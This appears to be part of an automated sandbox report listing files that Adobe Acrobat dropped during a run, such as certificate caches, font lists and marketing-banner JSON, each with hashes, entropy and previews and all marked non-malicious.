Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.213579876410523
Encrypted:	false
SSDEEP:	24:7+tBmnuwKKqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mf:7M8nCKq/mFTIF3XmHjBoGGR+jMz+Lh2
MD5:	3E7E67AEBD0D615890B171C84D680B78
SHA1:	0E4EE58CA7068B3803BB48A629F413DD6129D3D2
SHA-256:	675DA3FAE54EC4ECE59D979A66EC2BC596F419C9C776101D898D76DEABFE2ADF
SHA-512:	3B9CEAFC28A8E560A72C45FDD6DF5B7CAA1A1BB0DCF73704DC92839D6C998ABD9E17492854AAA2D6204BF4B1FAF8D56A7113AF6A8893A67120C8AB81F6E369EE
Malicious:	false
Preview:	.... .c.....w/..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklegl1ltfllXlE/HT8kqMzlltNNX8RolJuRdxLlGB9lQRYwpDdt:kKHGveT8ozldNMa8RdWBwRd
MD5:	075B8CC38C638AEB60A943BF0A986E4E
SHA1:	C62C5EDECC91F0AD9613396ADAA6CB763879590A
SHA-256:	FB9D756A0E322A47EFBB2BFA9C64D1BE2C01205FA02973D02769DDE756010E77
SHA-512:	013E2DF049CCA065CE039C70C1AD43FD221D04E60631B373B6ED373AB48B7114E736DB06EB15D0E85674D9554CCB3CA1E7FEF0DC2B648A5686C7DEE20B84D861
Malicious:	false
Preview:	p...... ........m....c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2284938185447545
Encrypted:	false
SSDEEP:	6:kKNvjG+sL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:VjG+siDImsLNkPlE99SNxAhUe/3
MD5:	E1F6F9B729C1CBAC4F3CA98A5D2A9255
SHA1:	9EF1863F4A4871324D818C0B7E5FE37B5AEFA395
SHA-256:	9773FD9464D7F5A3E7F3D5647CD0E7E9F02657C563ED7BA49351AD7CEC363F3C
SHA-512:	3B851A4B9E228D92A087C240F371646E950360536ACA9D0BB9F67D98F6EFD12BD46329D2204D9F83559ED1B4C329D30773C02E87AE3C679AA3806E50C2C8D63D
Malicious:	false
Preview:	p...... ........h....c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7712

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.374086760543161
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJM3g98kUwPeUkwRe9:YvXKX2EoEZc0vaGMbLUkee9
MD5:	11FF07F028C7AE0255D08595DDC0AB7D
SHA1:	32D7009211A13E6633F8065E526713D1E46BD1CA
SHA-256:	ADAE1CB8F85BCFC68AEF2097EE6734298A7C35C690AD813BAF3E463C395BF8CE
SHA-512:	816EA01EDEDC2122780042F381BF4BE662571EAB18359997C74A32B580B15FADFC84AEDBB81B0BC4F8663419E24F65ECEEF4603A6FC74062729C50698E04FFA8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.325671606640182
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfBoTfXpnrPeUkwRe9:YvXKX2EoEZc0vaGWTfXcUkee9
MD5:	F26A3A8A10429BBA33562B66FCD61A1B
SHA1:	B55F74544AB2092A36507175CF781EF2755A66B8
SHA-256:	408E58055EEA4D9BD17342F030F019382FDBBB71FFCE5A95464766688916651C
SHA-512:	DAD667030E10C0F96B1DE376B97C9C03DBB7F378ABD21DF4825AD3D15D6903B1216072EE2A2997AA388ABDBBE0F5039EB6DFE2D93F4C322D8ADF06EB558AE497
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.303214804858804
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfBD2G6UpnrPeUkwRe9:YvXKX2EoEZc0vaGR22cUkee9
MD5:	BBE0D0C21287D74C0FAF20F3B8539B0F
SHA1:	5CA6DF7B5118DEA078AB55048076A33E20EB59C9
SHA-256:	EC71CA9AFCD5C396F597E60A81C5E1C5BFCD93F380ACBB637B4AED3E63CD9FBB
SHA-512:	61D0B9419C348FD364946B3A541566AD7FE8D9685C222C9C4ADA4EFB879EE4DB06F8211F94125AE30BDCAF20B0A783033AF1C18F09B0C6BE8DAAF2D7D4E76BCF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.361473525483091
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfPmwrPeUkwRe9:YvXKX2EoEZc0vaGH56Ukee9
MD5:	6334E566DFA4E2EDCA256AD114E6ECC8
SHA1:	E6EFA5478A89C0FFDF71EEF2106CD2AC9BE7FF49
SHA-256:	BFB258D130DB949ECE2E62504AFD942001A619036D07730EBC77650D437B8936
SHA-512:	77A18D4A76DB6854B62E7BC855D2358B0FCEC438C68FE8FBF227125AC26025940DEE3E7D51E431EC6E5D6B61831A7335B0713D99A93749D390D75BE2F44ECD02
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.690706198415259
Encrypted:	false
SSDEEP:	24:Yv6X2EoEzv3pLgE9cQx8LennAvzBvkn0RCmK8czOCCS5aS:YvVUfhgy6SAFv5Ah8cv/5B
MD5:	E91FC670262BC74C2EA515840A8ED543
SHA1:	17AEA6C6813E1B2531A2E9C0035D03231A2DEF42
SHA-256:	6979DDD9F19A265FF36806BDA1ED8926AD4B7DE4895FE4155EF11228B5183F56
SHA-512:	8738E58C384A81DF842C10503DA94460F7F52E73BF0757E5EF21446CCEB3031067F412C6C1AC3793311C9F3BFD15858FCE76EAD98BDC652F15E1A2E8AB4BCF16
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.310024440421922
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJf8dPeUkwRe9:YvXKX2EoEZc0vaGU8Ukee9
MD5:	0BC782E38D970DBC809D605A825A18A2
SHA1:	DDE1B5C78186A3F132C44DE0306094F5B78D1ADD
SHA-256:	6BDAD61676C5BD1A5426E4C71967020DEB1424B964C8657B2D606FDC47FF1128
SHA-512:	E0D0DFC96D117F31E46BD57A8CAB487CC1A41FD03801B4C2CCCDBC4380A9B50D7A135E9DE0036F46C218C49F332B60C84FD143D3D2E8BE666DBD34ED188C46E4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.313783257764181
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfQ1rPeUkwRe9:YvXKX2EoEZc0vaGY16Ukee9
MD5:	914A0A4E841A72876016D61503732223
SHA1:	F9685A2727F596C5A006D2EC04AAA1ECB0E23D96
SHA-256:	00D481651FC11C8E5F17F615BAB1C86709A39819E76E78F9037D3D1B455F5492
SHA-512:	7D37CCB67632FD606CE97E978C2E9F1C88861F7849A3A207096C11BD5A52392B37950240C526E38363DD0D9FB3B1CD22C4E4B4E536EC1E42EB2279206E380F53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.319781972048561
Encrypted:	false
SSDEEP:	6:YEQXJ2HXHWCn71S9VoZcg1vRcR0YOBDoAvJfFldPeUkwRe9:YvXKX2EoEZc0vaGz8Ukee9
MD5:	CF8BFBE9146E4B89ADDEAFE33330ABF0
SHA1:	6338D4387FB01F42895635CA74AB596B06D8188B
SHA-256:	F52FC8B3FAF4468FF5D9894025994310E834DC1DAB26FF8B0E3CE8528B2A3E58
SHA-512:	FB196DC5997A543C7CB43840E76690DF7409DE5F30AF0810CE1A2D73FAAA8DE3F25CE1B5FB7CFDD8D8DD6257A76D1AEB52441F5534A5690DD78A89CF51EF659E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"03357214-8303-4c0f-95f9-5d323c33c3d6","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736730924681,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

